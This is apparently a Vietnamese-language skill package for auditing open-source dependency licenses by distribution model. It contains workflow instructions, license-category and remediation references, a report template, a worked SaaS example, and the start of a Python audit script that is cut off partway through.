Kiểm toán giấy phép của các gói phụ thuộc trong dự án dựa trên phương thức phân phối thực tế của bạn (SaaS, ứng dụng hoặc thư viện phân phối tới người dùng, hoặc công cụ nội bộ): chuẩn hóa tên giấy phép theo chuẩn SPDX, phân giải các biểu thức OR và AND, gắn cờ cảnh báo các giấy phép bị thiếu, AGPL, GPL, source-available (mã nguồn khả dụng) và các giấy phép không tương thích, đồng thời lập kế hoạch khắc phục theo thứ tự ưu tiên cùng danh sách thông báo bản quyền. Bao gồm một trình kiểm toán viết bằng thư viện chuẩn Python đã được kiểm thử.
---
name: dependency-license-audit
description: Kiểm toán giấy phép của các gói phụ thuộc trong dự án dựa trên phương thức phân phối thực tế của bạn (SaaS, ứng dụng hoặc thư viện phân phối tới người dùng, hoặc công cụ nội bộ): chuẩn hóa tên giấy phép theo chuẩn SPDX, phân giải các biểu thức OR và AND, gắn cờ cảnh báo các giấy phép bị thiếu, AGPL, GPL, source-available (mã nguồn khả dụng) và các giấy phép không tương thích, đồng thời lập kế hoạch khắc phục theo thứ tự ưu tiên cùng danh sách thông báo bản quyền. Bao gồm một trình kiểm toán viết bằng thư viện chuẩn Python đã được kiểm thử.
---
# Kiểm toán Giấy phép Gói phụ thuộc (Dependency License Audit)
Bạn giúp các đội ngũ kỹ thuật phát hiện những vấn đề về giấy phép trong các gói phụ thuộc của họ trước khi đợt phát hành sản phẩm, cuộc thẩm định mua bán sáp nhập (M&A), hoặc bảng câu hỏi bảo mật của khách hàng tìm ra chúng. Bạn biến một danh sách gói phụ thuộc thô thành một danh sách ngắn gọn, được xếp hạng ưu tiên gồm những việc cần khắc phục, và giải thích từng mục bằng ngôn ngữ dễ hiểu. Bạn là một kỹ sư cẩn trọng chứ không phải luật sư: bạn gắn cờ cảnh báo rủi ro và chỉ rõ khi nào một chuyên gia có chuyên môn pháp lý cần phải đưa ra quyết định.
## Các tệp trong kỹ năng này
- `scripts/audit_licenses.py` - chuẩn hóa và phân loại mọi giấy phép của gói phụ thuộc, đồng thời đánh giá mức độ rủi ro theo mô hình phân phối đã chọn (chỉ dùng thư viện chuẩn Python 3)
- `references/license-categories.md` - ý nghĩa thực tế của các nhóm giấy phép cấp phép rộng rãi (permissive), copyleft yếu (weak copyleft), copyleft mạnh (strong copyleft), copyleft qua mạng (network copyleft), và mã nguồn khả dụng (source-available), kèm theo các mã định danh SPDX phổ biến
- `references/remediation-playbook.md` - cách khắc phục từng loại phát hiện, từ việc thay thế gói phụ thuộc cho đến bổ sung thông báo bản quyền
- `templates/license-audit-report.md` - bố cục báo cáo kiểm toán
- `examples/example-saas-audit.md` - một bài kiểm toán mẫu hoàn chỉnh cho hệ thống backend SaaS viết bằng Node.js
## Quy trình làm việc
### 1. Hiểu rõ cách dự án được phân phối
Hỏi người dùng, hoặc suy luận và nêu rõ dưới dạng giả định:
- Giấy phép của dự án: độc quyền (proprietary / mã nguồn đóng) hay giấy phép mã nguồn mở (mã SPDX).
- Mô hình phân phối: `saas` (người dùng chỉ truy cập qua mạng), `distributed` (ứng dụng di động hoặc máy tính để bàn, bản cài đặt tại chỗ on-prem, thiết bị phần cứng, SDK, thư viện phát hành công khai, container image cung cấp cho khách hàng), hoặc `internal` (chỉ nhân viên nội bộ sử dụng).
- Bất kỳ chính sách nào của công ty: danh sách các giấy phép luôn được phép và luôn bị chặn.
Cùng một gói phụ thuộc có thể hoàn toàn ổn đối với mô hình này nhưng lại là yếu tố chặn đứng (blocker) đối với mô hình khác, vì vậy tuyệt đối không được bỏ qua bước này.
### 2. Thu thập danh mục gói phụ thuộc (dependency inventory)
Ưu tiên kết quả xuất ra từ công cụ hơn là danh sách lập thủ công, và phải bao gồm cả các gói phụ thuộc bắc cầu (transitive dependencies):
- Python: `pip-licenses --format=json --with-system` (hoặc `pip-licenses --format=csv`).
- Node.js: `npx license-checker --json --production` (chạy lại một lần nữa không có cờ `--production` cho các công cụ phát triển dev tools).
- Bất kỳ ngôn ngữ/hệ thống nào khác: một tệp CSV có các cột `name,version,license,scope` được xuất từ SBOM hoặc trình quản lý gói.
Đánh dấu các công cụ biên dịch (build), kiểm thử (test) và kiểm tra mã nguồn (lint) là `scope=dev`; chúng không được phân phối kèm sản phẩm nên các phát hiện của chúng sẽ giảm xuống mức INFO.
### 3. Chạy kiểm toán
```bash
python3 scripts/audit_licenses.py deps.csv --project-license proprietary --distribution saas
python3 scripts/audit_licenses.py licenses.json --distribution distributed --deny AGPL-3.0-only
python3 scripts/audit_licenses.py deps.csv --json
```
Kịch bản sẽ in ra số lượng theo từng mức độ nghiêm trọng, một bảng liệt kê mọi gói phụ thuộc kèm giấy phép đã chuẩn hóa và danh mục phân loại, các phát hiện kèm lý do, những thay đổi giấy phép giữa các phiên bản, và các giấy phép cần đưa toàn văn vào tệp thông báo bên thứ ba (third-party notices) của bạn. Mã thoát (Exit code) 1 có nghĩa là có ít nhất một phát hiện ở mức HIGH.
Nếu bạn không thể chạy kịch bản, hãy phân loại thủ công từng giấy phép bằng tài liệu `references/license-categories.md` và nêu rõ việc đó trong báo cáo.
### 4. Xác minh trước khi kết luận
- Đối với mọi phát hiện ở mức HIGH hoặc WARN, hãy kiểm tra tệp LICENSE thực tế của gói đó trong kho lưu trữ (repository) hoặc gói nén (archive) của nó; siêu dữ liệu (metadata) thường bị sai hoặc lỗi thời.
- Đối với các mục bị "thiếu" ("missing") hoặc ghi "SEE LICENSE IN", hãy mở tệp được tham chiếu và phân loại dựa trên toàn văn nội dung của nó.
- Đối với các gói có giấy phép kép (OR), hãy ghi nhận rõ lựa chọn nào mà bạn chọn.
- Đối với các gói có giấy phép thay đổi giữa các phiên bản, hãy xác nhận xem phiên bản nào thực sự đang được cài đặt (kiểm tra tệp khóa lock file).
### 5. Khuyến nghị và lập báo cáo
Sử dụng `references/remediation-playbook.md` để đưa ra một hành động cụ thể cho từng phát hiện: thay thế, cô lập (isolate), ghim (pin) về phiên bản cũ hơn có giấy phép rộng rãi (permissive), mua giấy phép thương mại, tuân thủ (công bố mã nguồn hoặc thêm thông báo bản quyền), hoặc chấp nhận rủi ro kèm theo lý do được lưu hồ sơ. Điền vào mẫu `templates/license-audit-report.md`, tương tự như trong `examples/example-saas-audit.md`.
## Quy tắc
- Tuyệt đối không kết luận một giấy phép "hoàn toàn ổn" hay "bất hợp pháp" như một kết luận pháp lý. Hãy nêu những gì giấy phép đó thường yêu cầu và khi nào cần tham vấn cố vấn pháp lý.
- Không đoán mò giấy phép dựa trên tên gói hoặc mức độ phổ biến. Chưa rõ (Unknown) thì vẫn phải giữ là chưa rõ cho đến khi có người đọc văn bản giấy phép thực tế.
- Đánh giá rủi ro dựa trên mô hình phân phối của người dùng, đồng thời lưu ý những gì sẽ thay đổi nếu mô hình phân phối thay đổi (ví dụ hiện tại là SaaS, năm sau bán bản cài đặt tại chỗ on-prem).
- Giữ báo cáo ngắn gọn: liệt kê các yếu tố chặn (blockers) trước, tiếp theo là các nghĩa vụ (thông báo bản quyền, đề nghị cung cấp mã nguồn), sau đó gộp danh sách các gói an toàn thành một con số thống kê.
- Coi bản kiểm toán như một ảnh chụp tại một thời điểm (snapshot); khuyến nghị chạy kiểm toán tự động trong CI mỗi khi có thay đổi về gói phụ thuộc.
FILE:references/license-categories.md
# Các danh mục giấy phép trong thực tế
Mức độ nghiêm trọng trong kịch bản phụ thuộc vào danh mục giấy phép và cách thức dự án được phân phối. Trang này giải thích các danh mục bằng ngôn ngữ đời thường. Đây là bản tóm tắt về mặt kỹ thuật, không phải tư vấn pháp lý.
## Phạm vi công cộng và gần như phạm vi công cộng (Public domain and near public domain)
SPDX: `0BSD`, `Unlicense`, `CC0-1.0`, `MIT-0`, `WTFPL`
- Không có nghĩa vụ đáng kể nào. Việc giữ lại thông báo bản quyền vẫn là một thực hành tốt.
## Cấp phép rộng rãi (Permissive)
SPDX: `MIT`, `ISC`, `BSD-2-Clause`, `BSD-3-Clause`, `Apache-2.0`, `Zlib`, `BSL-1.0` (Boost), `PSF-2.0`, `Python-2.0`, `CC-BY-4.0` (dữ liệu như caniuse-lite)
- Được phép sử dụng, sửa đổi và phân phối trong các sản phẩm mã nguồn đóng.
- Phải giữ lại dòng thông báo bản quyền (copyright notice) và toàn văn giấy phép, thường đặt trong tệp thông báo bên thứ ba (third-party notices) hoặc màn hình "Giới thiệu / Giấy phép" ("About / Licenses").
- Apache-2.0 còn yêu cầu giữ lại mọi tệp NOTICE có sẵn, nêu rõ các thay đổi đáng kể đối với các tệp của nó, và bao gồm điều khoản cấp phép bằng sáng chế (patent grant) sẽ chấm dứt nếu bạn khởi kiện về bằng sáng chế liên quan đến mã nguồn đó.
- BSD-3-Clause cấm sử dụng tên của các tác giả để quảng bá cho sản phẩm của bạn.
## Copyleft yếu - cấp độ tệp hoặc thư viện (Weak copyleft)
SPDX: `LGPL-2.1-*`, `LGPL-3.0-*`, `MPL-2.0`, `EPL-1.0`, `EPL-2.0`, `CDDL-1.0`, `CDDL-1.1`, GPL đi kèm ngoại lệ liên kết (ví dụ `GPL-2.0-only WITH Classpath-exception-2.0`)
- Bạn có thể kết hợp chúng với mã nguồn đóng, nhưng bất kỳ sửa đổi nào đối với chính các tệp của thư viện đó đều phải được chia sẻ theo cùng giấy phép khi bạn phân phối.
- LGPL: người dùng phải có khả năng thay thế thư viện đó bằng phiên bản của riêng họ. Liên kết động (dynamic linking - thư viện dùng chung shared library, tệp jar riêng biệt, gói npm) thường giúp đáp ứng điều này dễ dàng; liên kết tĩnh (static linking) hoặc đóng gói gộp chung vào một tệp thực thi duy nhất (single binary) cần hết sức cẩn trọng.
- MPL-2.0: điều khoản copyleft áp dụng trên từng tệp (per file). Hãy giữ các tệp MPL tách biệt và công bố các thay đổi đối với những tệp đó.
## Copyleft mạnh (Strong copyleft)
SPDX: `GPL-2.0-only`, `GPL-2.0-or-later`, `GPL-3.0-only`, `GPL-3.0-or-later`
- Nếu bạn phân phối phần mềm có bao gồm hoặc liên kết với mã nguồn GPL, tác phẩm kết hợp phải được cung cấp theo giấy phép GPL kèm theo toàn bộ mã nguồn của nó.
- Việc chạy phần mềm GPL trên máy chủ của riêng bạn và để người dùng tương tác với nó qua mạng không được coi là hành vi phân phối (distribution), vì vậy việc sử dụng thuần túy cho mô hình SaaS thường được phép. Việc chuyển giao một ứng dụng, bộ cài đặt tại chỗ (on-prem installer), phần sụn thiết bị (device firmware), hoặc container image cho khách hàng được tính là hành vi phân phối.
- Phiên bản đóng vai trò rất quan trọng: mã nguồn `GPL-2.0-only` không thể kết hợp với mã nguồn GPL-3.0 hoặc Apache-2.0 trong cùng một tác phẩm. Hậu tố `-or-later` mang lại sự linh hoạt cao hơn.
## Copyleft qua mạng (Network copyleft)
SPDX: `AGPL-3.0-only`, `AGPL-3.0-or-later`, `SSPL-1.0` (chưa được OSI phê duyệt)
- Tương tự như GPL, cộng thêm điều khoản: nếu người dùng tương tác với một phiên bản đã sửa đổi qua mạng, bạn bắt buộc phải cung cấp mã nguồn của phiên bản đó cho họ.
- Đối với một sản phẩm SaaS mã nguồn đóng, đây là yếu tố chặn (blocker) phổ biến nhất. Ngay cả việc sử dụng bản gốc không sửa đổi cũng kích hoạt quy trình rà soát nội bộ tại hầu hết các công ty.
- SSPL còn đi xa hơn: việc cung cấp phần mềm đó dưới dạng dịch vụ (as a service) có thể đòi hỏi bạn phải công bố mã nguồn của toàn bộ ngăn xếp dịch vụ (service stack) của mình.
## Mã nguồn khả dụng và phi thương mại (Source-available and non-commercial)
SPDX hoặc tên thường gặp: `BUSL-1.1` (Business Source License), `Elastic-2.0`, các điều khoản bổ sung Commons Clause, `CC-BY-NC-*`, `PolyForm-Noncommercial-1.0.0`
- Mã nguồn được hiển thị công khai, nhưng quyền sử dụng bị hạn chế: thường cấm dùng để cung cấp dịch vụ lưu trữ cạnh tranh (competing hosted service), cấm sử dụng trong môi trường production vượt quá giới hạn cho phép, hoặc cấm hoàn toàn mục đích thương mại, đôi khi áp dụng cho đến một ngày chuyển đổi giấy phép (change date) nhất định.
- Luôn cần phải rà soát từng điều khoản chính xác. Nhiều giấy phép dạng này sẽ chuyển sang giấy phép mở sau một vài năm, vì vậy phiên bản cũ hơn hoặc mới hơn có thể mang điều khoản khác nhau.
## Chưa xác định (Unknown)
- Các trường giấy phép để trống, `UNKNOWN`, `NOASSERTION`, `UNLICENSED`, `SEE LICENSE IN <file>`, `LicenseRef-*`, hoặc một cái tên mà kịch bản không nhận diện được.
- "Không có giấy phép" ("No license") đồng nghĩa với việc tác giả giữ toàn bộ bản quyền (all rights reserved): bạn không có quyền sử dụng mã nguồn đó. Hãy tìm điều khoản cấp phép thực sự hoặc thay thế gói phụ thuộc đó.
## Biểu thức kết hợp (Expressions)
- `MIT OR Apache-2.0`: bạn có thể chọn một trong hai; hãy chọn giấy phép phù hợp với bạn và lưu hồ sơ lựa chọn đó.
- `MIT AND BSD-3-Clause`: bạn bắt buộc phải tuân thủ cả hai; giấy phép nghiêm ngặt nhất sẽ quyết định danh mục phân loại.
- `GPL-2.0-only WITH <exception>`: điều khoản ngoại lệ giúp thu hẹp phạm vi copyleft; hãy đọc kỹ nội dung ngoại lệ đó.
FILE:references/remediation-playbook.md
# Cẩm nang khắc phục (Remediation playbook)
Chọn một hành động cho mỗi phát hiện và ghi lại kèm theo người chịu trách nhiệm (owner). Ưu tiên hành động tốn ít chi phí nhất mà loại bỏ được rủi ro.
## Thứ tự ưu tiên xử lý
1. Các giấy phép chưa xác định (unknown) và bị thiếu (bạn có thể hoàn toàn không có quyền sử dụng mã nguồn đó).
2. Các gói thuộc nhóm copyleft qua mạng (network copyleft) và mã nguồn khả dụng (source-available) nằm trong mã nguồn được phân phối hoặc lưu trữ trên máy chủ dịch vụ (hosted code).
3. Nhóm copyleft mạnh (strong copyleft) trong các sản phẩm phân phối tới khách hàng, và sự không tương thích giữa các phiên bản giấy phép trong các dự án mã nguồn mở.
4. Các nghĩa vụ đối với nhóm copyleft yếu (liên kết động, công bố các thay đổi).
5. Thông báo bản quyền (notices) cho tất cả các gói còn lại.
## Các hành động cụ thể
### Tìm giấy phép thực sự
- Mở kho lưu trữ (repository) và gói nén (archive) của gói phụ thuộc, đọc tệp LICENSE, COPYING, hoặc phần tiêu đề (header) của tệp mã nguồn chính.
- Kiểm tra xem liệu siêu dữ liệu (metadata) có bị lỗi thời hay không (trường hợp rất phổ biến đối với các gói cũ và các bản fork).
- Nếu thực sự không có giấy phép nào, hãy nhờ người bảo trì (maintainer) bổ sung giấy phép (đính kèm liên kết tới choosealicense.com trong yêu cầu) hoặc thay thế gói phụ thuộc đó.
### Thay thế gói phụ thuộc
- Tìm kiếm một giải pháp thay thế đang được bảo trì tốt, có giấy phép rộng rãi (permissive) và API tương tự.
- Ước tính công sức thực hiện theo số giờ và đưa vào danh sách công việc tồn đọng (backlog) gắn với phiên bản phát hành bị nó chặn.
- Đối với các gói phụ thuộc bắc cầu (transitive dependencies), hãy tìm gói phụ thuộc trực tiếp đã kéo nó vào; việc đổi sang một phiên bản khác hoặc bật/tắt một cờ cấu hình thường sẽ loại bỏ được nó.
### Ghim (Pin) phiên bản theo giấy phép cũ
- Khi một dự án chuyển từ giấy phép rộng rãi sang giấy phép mã nguồn khả dụng (hoặc ngược lại), các phiên bản cũ vẫn giữ nguyên giấy phép cũ của chúng.
- Việc ghim phiên bản chỉ là giải pháp ngắn hạn: bạn sẽ không nhận được các bản cập nhật bảo mật. Hãy lên lịch thay thế triệt để.
### Cô lập gói phụ thuộc (Isolate it)
- Chạy công cụ mang giấy phép copyleft dưới dạng một tiến trình hoặc dịch vụ riêng biệt giao tiếp với mã nguồn của bạn qua dòng lệnh (CLI), giao thức HTTP, hoặc hàng đợi tin nhắn (queue), thay vì liên kết (link) trực tiếp nó vào mã nguồn của bạn.
- Giữ nguyên bản gốc không sửa đổi nếu có thể. Ghi lại tài liệu rõ ràng về ranh giới giao tiếp này.
- Đây là cách phổ biến để sử dụng các công cụ dòng lệnh mang giấy phép GPL, nhưng hãy nhờ cố vấn pháp lý xác nhận đối với trường hợp AGPL và SSPL.
### Mua giấy phép thương mại
- Nhiều dự án cấp phép kép (mã nguồn mở song song với bản thương mại) có bán giấy phép thương mại giúp loại bỏ các nghĩa vụ copyleft. Hãy lưu ý kỹ mức giá và điều khoản gia hạn.
### Tuân thủ các điều khoản (Comply)
- Copyleft yếu (Weak copyleft): giữ thư viện dưới dạng một tệp hoặc gói riêng biệt, có thể thay thế được; công bố bất kỳ thay đổi nào đối với chính các tệp của thư viện đó; đính kèm giấy phép của nó.
- GPL trong sản phẩm phân phối tới khách hàng: chỉ khả thi nếu toàn bộ sản phẩm có thể mở mã nguồn theo các điều khoản tương thích. Đây là một quyết định kinh doanh, không phải quyết định kỹ thuật.
- AGPL trong dịch vụ lưu trữ (hosted service): cung cấp mã nguồn tương ứng cho người dùng dịch vụ, bao gồm cả những sửa đổi của bạn.
### Chấp nhận kèm lý do được lưu hồ sơ
- Các công cụ chỉ phục vụ phát triển (linters, trình chạy kiểm thử, công cụ biên dịch) không bao giờ được phân phối kèm sản phẩm thường không gây rủi ro. Hãy ghi nhận rõ: "chỉ dùng cho dev, không phân phối".
- Việc sử dụng nội bộ các công cụ GPL hoặc AGPL thường không gây vấn đề. Hãy ghi nhận rõ ai là người sử dụng và xác nhận rằng công cụ đó không phơi bày ra cho người dùng bên ngoài.
## Thông báo bản quyền bên thứ ba (Third-party notices)
- Tạo một tệp thông báo bản quyền từ danh mục gói phụ thuộc: tên gói, phiên bản, giấy phép, dòng bản quyền (copyright line), toàn văn giấy phép (mỗi nội dung giấy phép khác nhau chỉ cần lưu một bản).
- Đính kèm nguyên trạng các tệp NOTICE của giấy phép Apache.
- Phân phối tệp này bên trong ứng dụng ("Cài đặt > Giới thiệu > Giấy phép"), bộ cài đặt và container image; đối với SaaS, hãy đặt liên kết tới nó ở chân trang (footer) hoặc trong trang tài liệu.
## Duy trì sự minh bạch và sạch sẽ
- Chạy kiểm toán tự động trong CI mỗi khi có thay đổi đối với tệp khóa (lock file) và cho dừng lỗi quá trình biên dịch (fail build) nếu có phát hiện mức HIGH.
- Duy trì một danh sách cho phép (allow list - ví dụ: MIT, BSD, ISC, Apache-2.0) và một danh sách chặn (deny list - ví dụ: AGPL-3.0, SSPL-1.0, BUSL-1.1) đã được thống nhất với cố vấn pháp lý, và truyền chúng vào kịch bản qua tham số `--allow` và `--deny`.
FILE:templates/license-audit-report.md
# Báo cáo Kiểm toán Giấy phép Gói phụ thuộc: <tên dự án>
Ngày: <YYYY-MM-DD>
Giấy phép dự án: <proprietary | mã SPDX>
Mô hình phân phối: <saas | distributed | internal> (<một dòng mô tả cách người dùng tiếp cận phần mềm>)
Nguồn danh mục: <công cụ và câu lệnh, mã commit của tệp khóa lock file>
Số gói đã kiểm toán: <n> (<runtime n>, <dev n>)
## Tóm tắt
- Các yếu tố chặn - Blockers (HIGH): <n> - <một dòng liệt kê tên các gói>
- Các nghĩa vụ - Obligations (WARN): <n> - <một dòng tóm tắt>
- Lưu ý - Notes (INFO): <n>
- Hợp lệ - Clean (OK): <n>
- Kết luận (Verdict): <sẵn sàng phát hành | phát hành sau khi khắc phục | bị chặn> bởi vì <lý do>.
## Các yếu tố chặn (Blockers)
| Gói | Phiên bản | Giấy phép (theo phát hiện) | Danh mục | Tại sao lại quan trọng với chúng ta | Hành động | Người phụ trách | Hạn chót |
|---|---|---|---|---|---|---|---|
| | | | | | | | |
## Các nghĩa vụ (Obligations)
| Gói | Giấy phép | Việc chúng ta phải làm | Đã hoàn thành? |
|---|---|---|---|
| | | | |
## Đã xác minh thủ công
- <tên gói>: siêu dữ liệu ghi là <x>, tệp LICENSE thực tế ghi là <y>.
## Các quyết định và giả định
- Các gói có giấy phép kép và phương án đã chọn: <tên gói: phương án>
- Các rủi ro được chấp nhận kèm lý do: <tên gói: lý do, người phê duyệt>
- Các giả định: <ví dụ: "bảng điều khiển quản trị chỉ dùng trong nội bộ">
## Điều gì sẽ thay đổi nếu chúng ta thay đổi phương thức phân phối
- <ví dụ: "Nếu chúng ta phát hành phiên bản cài đặt tại chỗ (on-prem), gói readline-sync (GPL-3.0) sẽ trở thành yếu tố chặn.">
## Thông báo bản quyền bên thứ ba (Third-party notices)
Các giấy phép cần đưa toàn văn vào tệp thông báo: <danh sách>
Vị trí tệp thông báo: <đường dẫn hoặc URL>
## Đợt kiểm toán tiếp theo
Chạy tự động trong CI mỗi khi tệp khóa (lock file) thay đổi; rà soát toàn diện trước <đợt phát hành tiếp theo hoặc ngày cụ thể>.
_Báo cáo này là bước sàng lọc kỹ thuật, không phải tư vấn pháp lý. Các yếu tố chặn bắt buộc phải được cố vấn pháp lý xác nhận trước khi dựa vào bất kỳ điều khoản ngoại lệ nào._
FILE:examples/example-saas-audit.md
# Ví dụ: Kiểm toán giấy phép cho hệ thống backend SaaS bằng Node.js
## Yêu cầu
"Chúng tôi là một dịch vụ B2B SaaS mã nguồn đóng. Các khách hàng doanh nghiệp liên tục gửi các bảng câu hỏi bảo mật hỏi về giấy phép mã nguồn mở, và năm tới chúng tôi có thể sẽ bán thêm phiên bản cài đặt tại chỗ (on-prem). Đây là bản xuất danh sách các gói phụ thuộc của chúng tôi. Có điều gì chúng tôi cần lo lắng không?"
Danh mục gói phụ thuộc (`deps.csv`, được xuất từ tệp khóa lock file, 18 dòng):
```
name,version,license,scope
express,4.19.2,MIT,runtime
lodash,4.17.21,MIT,runtime
pg,8.12.0,MIT,runtime
sharp,0.33.4,Apache-2.0,runtime
dompurify,3.1.6,(MPL-2.0 OR Apache-2.0),runtime
ghostscript-wrapper,2.1.0,AGPL-3.0-only,runtime
chart-kit-pro,1.4.0,SEE LICENSE IN LICENSE.md,runtime
readline-sync,1.4.10,GPL-3.0,runtime
mariadb-connector,3.3.1,LGPL-2.1-or-later,runtime
fast-csv-lite,0.9.0,,runtime
redis-om,0.4.3,Business Source License 1.1,runtime
jest,29.7.0,MIT,dev
eslint-plugin-gpl-thing,1.0.2,GPL-2.0-only,dev
argparse,2.0.1,Python-2.0,runtime
tslib,2.6.3,0BSD,runtime
lodash,3.10.1,MIT,runtime
search-client,7.10.2,Apache-2.0,runtime
search-client,8.1.0,Elastic License 2.0,runtime
```
## Kết quả chạy kịch bản
```
$ python3 scripts/audit_licenses.py deps.csv --project-license proprietary --distribution saas
Dependency license audit: 18 packages, project license proprietary, distribution saas
HIGH 5 WARN 1 INFO 2 OK 10
...
HIGH chart-kit-pro@1.4.0 SEE LICENSE IN LICENSE.md unknown runtime
HIGH fast-csv-lite@0.9.0 (missing) unknown runtime
HIGH redis-om@0.4.3 BUSL-1.1 source-available runtime
HIGH search-client@8.1.0 Elastic-2.0 source-available runtime
HIGH ghostscript-wrapper@2.1.0 AGPL-3.0-only network-copyleft runtime
WARN readline-sync@1.4.10 GPL-3.0-only strong-copyleft runtime
INFO eslint-plugin-gpl-thing@1.0.2 GPL-2.0-only strong-copyleft dev
INFO mariadb-connector@3.3.1 LGPL-2.1-or-later weak-copyleft runtime
...
Notes:
- search-client: different licenses across versions (Apache-2.0, Elastic-2.0); check which version you ship.
```
Mã thoát (Exit code) 1 (có các phát hiện mức HIGH).
## Báo cáo (mẫu đã điền thông tin, rút gọn)
# Báo cáo Kiểm toán Giấy phép Gói phụ thuộc: acme-api
Giấy phép dự án: proprietary (độc quyền). Mô hình phân phối: saas (khách hàng sử dụng ứng dụng web và REST API; hiện tại không có gì được cài đặt trên máy của khách hàng).
Số gói đã kiểm toán: 18 (16 runtime, 2 dev).
### Tóm tắt
- Các yếu tố chặn - Blockers (HIGH): 5 - hai gói không có giấy phép sử dụng hợp lệ, hai gói thuộc nhóm mã nguồn khả dụng (source-available), một gói mang giấy phép AGPL.
- Các nghĩa vụ - Obligations (WARN): 1 - một gói mang giấy phép GPL-3.0 hoàn toàn ổn đối với mô hình SaaS nhưng sẽ chặn đứng phiên bản cài đặt tại chỗ (on-prem) đang lên kế hoạch.
- Kết luận (Verdict): phát hành sau khi khắc phục. Không có vấn đề nào ở đây là bất thường, và mỗi mục đều có cách khắc phục ít tốn kém.
### Các yếu tố chặn (Blockers)
| Gói | Giấy phép (theo phát hiện) | Tại sao lại quan trọng với chúng ta | Hành động |
|---|---|---|---|
| chart-kit-pro 1.4.0 | SEE LICENSE IN LICENSE.md | Tệp LICENSE.md là một giấy phép thương mại chỉ cho phép sử dụng khi có khóa trả phí (paid key). Chúng ta chưa ghi nhận khóa nào trong hồ sơ. | Xác nhận lại với nhóm đã mua gói này, hoặc thay thế bằng một thư viện vẽ biểu đồ có giấy phép rộng rãi (permissive). |
| fast-csv-lite 0.9.0 | (missing) | Không có giấy phép đồng nghĩa với việc không được phép sử dụng. | Yêu cầu người bảo trì bổ sung giấy phép; trong lúc chờ đợi, chuyển sang sử dụng một trình phân tích CSV đang được bảo trì tốt có điều khoản MIT. |
| redis-om 0.4.3 | BUSL-1.1 | Giấy phép Business Source License giới hạn việc sử dụng trên môi trường production cho đến ngày chuyển đổi giấy phép của nó; các điều khoản cụ thể thay đổi tùy theo từng dự án. | Đọc kỹ điều khoản "Additional Use Grant" chính xác. Nếu nó cấm trường hợp sử dụng của chúng ta, hãy thay thế hoặc mua giấy phép thương mại. |
| search-client 8.1.0 | Elastic-2.0 | Giấy phép Elastic License 2.0 cấm việc cung cấp phần mềm này dưới dạng một dịch vụ được quản lý (managed service). Phiên bản 7.10.2 nằm trong cùng cây phụ thuộc lại mang giấy phép Apache-2.0. | Kiểm tra tệp khóa (lock file): những module nào đang import phiên bản 8.1.0? Ghim cả hai về nhánh phiên bản dùng Apache-2.0 hoặc chuyển sang một nhánh fork được cấp phép theo Apache. |
| ghostscript-wrapper 2.1.0 | AGPL-3.0-only | Chúng ta dùng nó để kết xuất (render) tệp PDF của khách hàng ngay bên trong API; việc sử dụng qua mạng đối với AGPL đòi hỏi phải cung cấp mã nguồn cho người dùng. | Chuyển việc kết xuất PDF sang một dịch vụ worker tách biệt, giữ nguyên không sửa đổi và nhờ cố vấn pháp lý xác nhận, hoặc mua giấy phép thương mại. |
### Các nghĩa vụ (Obligations)
| Gói | Giấy phép | Việc chúng ta phải làm |
|---|---|---|
| readline-sync 1.4.10 | GPL-3.0-only | Hoàn toàn ổn đối với mô hình SaaS. Nó sẽ trở thành yếu tố chặn nếu phiên bản cài đặt tại chỗ (on-prem) được đóng gói kèm theo nó. Gói này chỉ được sử dụng bởi một kịch bản CLI quản trị, vì vậy hãy gỡ bỏ nó khỏi server image. |
| mariadb-connector 3.3.1 | LGPL-2.1-or-later | Giữ nó dưới dạng một gói phụ thuộc npm thông thường (có thể thay thế được); công bố các thay đổi nếu chúng ta có vá (patch) mã nguồn của nó. |
### Đã xác minh thủ công
- dompurify: cấp phép kép `MPL-2.0 OR Apache-2.0`; chúng ta chọn Apache-2.0.
- eslint-plugin-gpl-thing: chỉ dùng cho môi trường dev, không bao giờ được phân phối. Chấp nhận.
### Điều gì sẽ thay đổi nếu chúng ta phân phối bản cài đặt tại chỗ (on-prem)
- readline-sync (GPL-3.0) sẽ chuyển thành mức HIGH, mariadb-connector (LGPL) cần được kiểm tra khả năng thay thế thư viện, và các gói Apache-2.0 cần đưa các tệp NOTICE của chúng vào trong bộ cài đặt. Hãy chạy lại kiểm toán với tham số `--distribution distributed` trước đợt phát hành đó.
### Thông báo bản quyền bên thứ ba (Third-party notices)
Các giấy phép cần đưa toàn văn: Apache-2.0, LGPL-2.1-or-later, MIT, Python-2.0. Đặt liên kết tới trang thông báo bản quyền ở phần chân trang (footer) của ứng dụng.
_Sàng lọc kỹ thuật, không phải tư vấn pháp lý._
## Tại sao đây là một câu trả lời tốt
- Đánh giá mọi gói phụ thuộc dựa trên mô hình phân phối thực tế của công ty này, đồng thời chỉ rõ những gì sẽ thay đổi đối với kế hoạch phát hành bản on-prem.
- Kiểm tra những dữ kiện thực tế mà siêu dữ liệu (metadata) không thể hiển thị (tệp LICENSE.md thương mại, các phiên bản search-client bị trùng lặp).
- Mọi yếu tố chặn đều đi kèm một hành động giải quyết cụ thể và ít tốn kém.
FILE:scripts/audit_licenses.py
#!/usr/bin/env python3
"""Audit third-party dependency licenses against how a project is shipped.
Usage:
python3 audit_licenses.py deps.csv --project-license proprietary --distribution saas
python3 audit_licenses.py licenses.json --distribution distributed [--json]
cat deps.csv | python3 audit_licenses.py - [--allow LIC,LIC] [--deny LIC,LIC]
Input (detected automatically):
CSV with a header: name,version,license[,scope] (scope: runtime | dev; default runtime)
JSON list: [{"name": "...", "version": "...", "license": "...", "scope": "dev"}]
pip-licenses --format=json: [{"Name": "...", "Version": "...", "License": "..."}]
license-checker --json (npm): {"pkg@1.2.3": {"licenses": "MIT"}, ...}
Options:
--project-license your project's license: proprietary (default) or an SPDX id such as MIT, Apache-2.0, GPL-3.0-only
--distribution saas (network service, default) | distributed (apps, binaries, devices, libraries) | internal
--allow / --deny comma-separated SPDX ids that your policy always allows or always blocks
--json machine-readable output
License names are normalized to SPDX ids, expressions with OR take the most
permissive option and AND takes the most restrictive one. Each package gets a
category and a severity (OK, INFO, WARN, HIGH) for the chosen distribution.
Dev-only packages are not shipped, so their findings drop to INFO.
Exit code: 0 no HIGH findings, 1 at least one HIGH, 2 usage or input error.
This is an engineering triage aid, not legal advice. Standard library only.
"""
import argparse
import csv
import io
import json
import re
import sys
ALIASES = { # lowercased common names -> SPDX id
"mit": "MIT", "mit license": "MIT", "the mit license": "MIT", "expat": "MIT",
"isc": "ISC", "isc license": "ISC", "isc license (iscl)": "ISC",
"apache 2.0": "Apache-2.0", "apache-2": "Apache-2.0", "apache 2": "Apache-2.0", "apache2": "Apache-2.0",
